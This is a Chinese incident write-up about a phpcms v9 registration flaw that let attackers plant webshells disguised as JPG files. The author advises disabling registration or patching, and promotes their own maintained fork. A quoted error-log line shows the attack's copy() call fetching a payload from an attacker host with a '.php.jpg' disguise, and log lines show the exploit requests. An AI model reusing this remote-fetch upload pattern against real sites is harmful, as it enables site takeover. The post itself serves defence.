解决phpcms注册漏洞导致上传后门文件

前言

phpcms作为广泛使用的cms系统,被众多企业用来做官网。但由于该系统公开版长时间未更新,导致不断有漏洞爆出,这样的系统往往最容易被攻击。如果我们只是用来做企业网站,就可以关闭不需要的功能来避免漏洞危害。此次我维护的一个企业网站就是因为注册功能中的漏洞导致被攻击,上传了图片型后门文件。在此分享下处理过程及解决方法,以供各位参考。

事件起源

2019-4-15查看阿里云发现服务器多了两个后门文件,其中一个文件路径是/uploadfile/2019/0407/20190407041300753.jpg,另外一个是4月13日上传的,两个文件都是jpg格式。用记事本打开这两个文件,内容一样,都是php代码,内容详情见下图:

通过分析就知道这段代码是“ webshell大马 ”的源代码,如果黑客再进一步将文件改为php格式,那么他就成功入侵这个网站了,从而可以控制这个网站。现在想想都感觉后怕,辛亏服务器安全防护做的好,没能造成恶劣影响。

处理过程

一、查看phpcms后台->附件管理栏目,多两个对应的文件上传,模块为内容模块,栏目名却为空。

二、查看phpcms系统中的error_log.php文件,发现有这么一行错误信息:

<?php exit;?>04-07 16:12:29 | 2 | copy(http:// web shell8 . com/css.txt?1.php.jpg) [<a href="function.copy">function.copy</a>]: failed to open stream: HTTP request failed!  | phpcms\libs\classes\attachment.class.php | 175

三、查看IIS日志

2019-04-07 08:12:28 121.43.232.245 POST /index.php m=member&c=index&a=register&siteid=1 443 - 110.89.120.131 Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+Trident/5.0) 200 0 0 531
2019-04-07 08:13:00 121.43.232.245 POST /index.php m=member&c=index&a=register&siteid=1 443 - 123.146.30.53 Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+Trident/5.0) 200 0 0 734
2019-04-12 22:06:21 121.43.232.245 POST /index.php m=member&c=index&a=register&siteid=1 443 - 111.6.79.73 Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+Trident/5.0) 200 0 0 203
2019-04-12 22:06:22 121.43.232.245 POST /index.php m=member&c=index&a=register&siteid=1 443 - 111.6.79.73 Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+Trident/5.0) 200 0 0 828

通过以上三步分析,确定是由于注册功能存在漏洞,导致上传后门文件。网上查找相关资料,发现该漏洞存在已久,是利用注册功能上传文件时未验证文件真实类型导致,另外发现程序逻辑也有问题,注册时不需要上传文件,却可以伪造文件字段提交。该漏洞一直到现在也未见官方发布补丁修复,就连17年那最近几年唯一一次修复大量漏洞时,也未能修复该漏洞。而且网上针对该漏洞有专门的教程呢,看来该漏洞已经被大部分人知晓并利用攻击,针对该漏洞,凡是使用该系统的一定要认真对待。

解决措施

这次黑客是利用phpcms会员注册功能中的漏洞,上传后门文件。

解决方案有两种:

一、关闭会员注册功能
因为关闭会员注册后,黑客将无法提交数据,提交注册数据时在第一步判断中就pass掉了。此方案对于只用来做展示的网站(不需要注册会员)倒是很简单的解决方法。

二、修复网站漏洞
此方案需要较强专业水平,而且官方直至现在也未提供补丁,只能靠各位自己修复啦,在这里就不做详细讲解了,感兴趣的朋友可以给我发邮件或者留言详聊。

经验总结

在我们使用phpcms类似的开源系统,要及时更新补丁,还要做好网站安全防护和服务器安全防护;尽可能缩减系统功能,只启用必须功能,这样可以规避不必要的漏洞导致的安全隐患,做到系统最简化运营,既能提升系统运行效率,还能提高安全性能。

福利来了 — PHPCMS V9最新版持续更新、提供免费下载

由于PHPCMS官方已经不再更新,为了能更好的继续使用PHPCMS,我在Github上持续更新PHPCMS,不仅仅修复了目前存在的漏洞,还增加支持https,PHP7等功能,还提供完整版免费下载仅限个人学习使用,请勿用于商业用途,如需商业使用,请联系获得授权。点击查看phpcms v9版本介绍持续更新中 – 支持https 支持PHP7,提供完整版免费下载


phpcms v9 Github仓库地址:https://github.com/Abel-Lan/phpcms
phpcms v9 最新版本下载地址:https://github.com/Abel-Lan/phpcms/releases

转载请注明:半亩方塘 » 解决phpcms注册漏洞导致上传后门文件

标签: phpcmsphp技术